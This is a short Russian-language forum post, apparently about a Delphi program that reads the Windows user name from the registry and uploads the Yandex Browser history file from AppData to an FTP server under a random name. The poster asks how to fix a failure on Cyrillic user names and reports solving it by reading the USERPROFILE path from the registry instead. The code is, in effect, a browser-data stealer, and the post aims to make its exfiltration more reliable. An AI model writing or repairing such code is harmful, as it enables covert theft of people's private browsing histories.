Есть программа, на delphi, которая получает доступ к AppData(имя пользователя ПК узнаю через реестр) и передает данные по FTP, с помощью функции idFTP idFTP1.Put('C:\Users\'+Reg.ReadString('USERNAME')+'\AppData\Local\Yandex\YandexBrowser\User Data\Default\History','History_Yandex('+IntToStr(RandomRange(1,1000))+')'); Проблема в том, что если имя пользователя ПК русское, то программа выдает ошибку: "Василий" is not valid component name Вопрос: что сделать что-бы принималось и русские имена тоже, может кодировку сменить ?
Тема закрыта. Проблему решил так: использовал не имя пользователя, а путь к сис.папке USERPROFILE P.S. HKEY_CURRENT_USER\Volatile Environment